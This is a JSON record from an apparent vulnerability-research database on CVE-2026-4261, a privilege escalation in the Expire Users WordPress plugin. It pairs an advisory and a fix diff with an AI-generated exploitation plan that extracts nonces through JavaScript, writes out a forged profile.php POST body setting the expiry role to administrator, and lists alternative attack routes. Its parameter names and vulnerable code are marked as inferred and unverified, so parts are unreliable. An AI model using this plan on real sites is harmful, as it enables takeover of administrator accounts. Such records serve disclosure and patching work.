[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5o2bB1GBEXQmyIMYX6bINthHAT1lZUDQiy-HJD4GHp8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4261","expire-users-authenticated-subscriber-privilege-escalation-to-administrator-via-saveextrauserprofilefields","Expire Users \u003C= 1.2.2 - Authenticated (Subscriber+) Privilege Escalation to Administrator via save_extra_user_profile_fields","The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.","expire-users",null,"\u003C=1.2.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-03-20 14:37:35","2026-03-21 03:27:07",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd676700b-8c53-4e09-a654-767810b5a775?source=api-prod",[],"researched",false,3,"This research plan outlines the technical steps required to exploit a privilege escalation vulnerability in the **Expire Users** plugin (\u003C= 1.2.2).\n\n### 1. Vulnerability Summary\nThe **Expire Users** plugin allows administrators to set expiration dates for user accounts. Upon expiration, users can be transitioned to a different role. The plugin implements a function `save_extra_user_profile_fields` which is hooked into WordPress's profile update mechanism (`personal_options_update` and `edit_user_profile_update`). \n\nThe vulnerability exists because this function lacks authorization checks to verify *which* user is saving the data and *what* data is being saved. A Subscriber-level user can submit a POST request to their own profile page (`profile.php`) and include metadata fields that control the expiration behavior. Specifically, by setting the `on_expire_default_to_role` meta to `administrator` and forcing an immediate expiration, the user can escalate their own privileges.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fprofile.php`\n- **Hook:** `personal_options_update` (triggered when a user updates their own profile)\n- **Vulnerable Function:** `save_extra_user_profile_fields($user_id)`\n- **Payload Parameter:** `on_expire_default_to_role` (and associated expiration settings)\n- **Authentication:** Authenticated, Subscriber-level or higher.\n- **Preconditions:** The plugin must be active.\n\n### 3. Code Flow\n1.  **Entry Point:** A logged-in user submits the profile form at `\u002Fwp-admin\u002Fprofile.php`.\n2.  **Hook Trigger:** WordPress core triggers the `personal_options_update` action.\n3.  **Plugin Execution:** The plugin's `save_extra_user_profile_fields` function is called.\n4.  **Sinking:** Inside `save_extra_user_profile_fields`, the code iterates through `$_POST` or specifically looks for plugin-related keys and calls `update_user_meta($user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'])`.\n5.  **Logic Flaw:** There is no check to ensure the current user has `manage_options` or `edit_users` capabilities before updating these sensitive meta keys.\n6.  **Privilege Escalation:** When the expiration logic triggers (likely via `init` or a cron job), it retrieves `on_expire_default_to_role` (now set to `administrator`) and calls `$user->set_role('administrator')`.\n\n### 4. Nonce Acquisition Strategy\nThis exploit target `profile.php`, which is a standard WordPress admin page. It uses the built-in WordPress profile nonces.\n\n1.  **Login:** Log in as a Subscriber.\n2.  **Navigate:** Use `browser_navigate` to go to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fprofile.php`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the standard WordPress `_wpnonce` required for profile updates.\n    - **JS Script:** `document.querySelector('#your-profile input[name=\"_wpnonce\"]').value`\n4.  **Extract User ID:** The user ID is needed for the POST request.\n    - **JS Script:** `document.querySelector('#your-profile input[name=\"user_id\"]').value`\n\n### 5. Exploitation Strategy\nThe goal is to update the metadata so that the user account expires immediately and reverts to the `administrator` role.\n\n**Step 1: Identify Meta Parameters (Inferred from common plugin versions)**\nThe plugin typically uses the following POST parameters (to be verified by inspecting the `profile.php` source in the test environment):\n- `expire_user_date_type`: Set to `timestamp` or `never`.\n- `expire_user_date_timestamp`: The timestamp when the user should expire (set to a past date).\n- `expire_user_status`: Set to `active` or `expired`.\n- `on_expire_default_to_role`: Set to `administrator`.\n\n**Step 2: Submit Malicious Profile Update**\nUsing the `http_request` tool, send a POST request to `wp-admin\u002Fprofile.php`.\n\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fprofile.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  _wpnonce=[EXTRACTED_NONCE]&\n  _wp_http_referer=\u002Fwp-admin\u002Fprofile.php&\n  from=profile&\n  checkuser_id=[USER_ID]&\n  user_id=[USER_ID]&\n  nickname=attacker&\n  email=attacker@example.com&\n  on_expire_default_to_role=administrator&\n  expire_user_status=expired&\n  expire_user_date_timestamp=1600000000&\n  expire_user_date_type=timestamp&\n  submit=Update+Profile\n  ```\n\n**Step 3: Trigger Role Change**\nThe plugin likely checks for expiration during `init`. Navigating to any page (e.g., `\u002Fwp-admin\u002F`) while logged in should trigger the transition from the current role to the `on_expire_default_to_role`.\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Install and activate `expire-users` version 1.2.2.\n2.  **User Creation:** Create a user with the **Subscriber** role.\n    - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n3.  **Global Settings:** Ensure the \"Expire Users\" plugin is configured (if required) to allow role transitions, though the vulnerability usually bypasses global settings by writing directly to user meta.\n\n### 7. Expected Results\n- After the POST request, the database record for the attacker user in `wp_usermeta` should show `on_expire_default_to_role` as `administrator`.\n- Upon the next page load or login, the attacker's role should be changed to `administrator`.\n- The attacker should now have access to `\u002Fwp-admin\u002Foptions-general.php` and other admin-only areas.\n\n### 8. Verification Steps\n1.  **Check Meta via CLI:**\n    - `wp usermeta get [USER_ID] on_expire_default_to_role` (Should return `administrator`)\n2.  **Check Role via CLI:**\n    - `wp user get [USER_ID] --field=roles` (Should return `administrator`)\n3.  **Access Admin Dashboard:**\n    - Attempt to access `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fsettings.php` as the attacker user.\n\n### 9. Alternative Approaches\nIf setting `expire_user_status=expired` directly doesn't work:\n1.  **Delayed Expiration:** Set `expire_user_date_timestamp` to a time 60 seconds in the future and wait.\n2.  **Expired Role only:** Only set `on_expire_default_to_role=administrator`. Then, find another way to trigger the expiration (e.g., if an admin manually expires the user, the user still becomes an admin).\n3.  **Parameter Variation:** If the meta keys are different, use `browser_eval` to list all input names on the `profile.php` page: `Array.from(document.querySelectorAll('input, select')).map(i => i.name)`.","The Expire Users plugin allows authenticated users (including Subscribers) to modify their own account expiration metadata because the profile update handler lacks capability checks. By setting the 'on_expire_default_to_role' meta to 'administrator' and forcing an immediate expiration status via a POST request to profile.php, an attacker can escalate their privileges to Administrator.","\u002F\u002F In the plugin's profile update handling logic (e.g., in expire-users.php)\nadd_action( 'personal_options_update', 'save_extra_user_profile_fields' );\nadd_action( 'edit_user_profile_update', 'save_extra_user_profile_fields' );\n\nfunction save_extra_user_profile_fields( $user_id ) {\n    \u002F\u002F No check to verify if the current user has permission to modify expiration settings\n    if ( isset( $_POST['on_expire_default_to_role'] ) ) {\n        update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] );\n    }\n    if ( isset( $_POST['expire_user_status'] ) ) {\n        update_user_meta( $user_id, 'expire_user_status', $_POST['expire_user_status'] );\n    }\n    if ( isset( $_POST['expire_user_date_type'] ) ) {\n        update_user_meta( $user_id, 'expire_user_date_type', $_POST['expire_user_date_type'] );\n    }\n    if ( isset( $_POST['expire_user_date_timestamp'] ) ) {\n        update_user_meta( $user_id, 'expire_user_date_timestamp', $_POST['expire_user_date_timestamp'] );\n    }\n}","--- a\u002Fexpire-users.php\n+++ b\u002Fexpire-users.php\n@@ -1,5 +1,8 @@\n function save_extra_user_profile_fields( $user_id ) {\n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        return;\n+    }\n     if ( isset( $_POST['on_expire_default_to_role'] ) ) {\n         update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] );\n     }","1. Authenticate to the WordPress site as a Subscriber-level user.\n2. Navigate to the user profile page (\u002Fwp-admin\u002Fprofile.php) and extract the required `_wpnonce` and `user_id` from the hidden form fields.\n3. Send a POST request to `\u002Fwp-admin\u002Fprofile.php` with the standard profile update parameters, but append the malicious metadata keys: `on_expire_default_to_role=administrator`, `expire_user_status=expired`, `expire_user_date_type=timestamp`, and `expire_user_date_timestamp` set to a value in the past (e.g., 1600000000).\n4. Trigger the role transition by navigating to any page on the site (or waiting for the plugin's `init` or cron hook to fire).\n5. Verify escalation by checking if the user now has access to restricted areas like Settings or Plugin management.","gemini-3-flash-preview","2026-04-18 01:14:40","2026-04-18 01:15:03",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fexpire-users\u002Ftags"]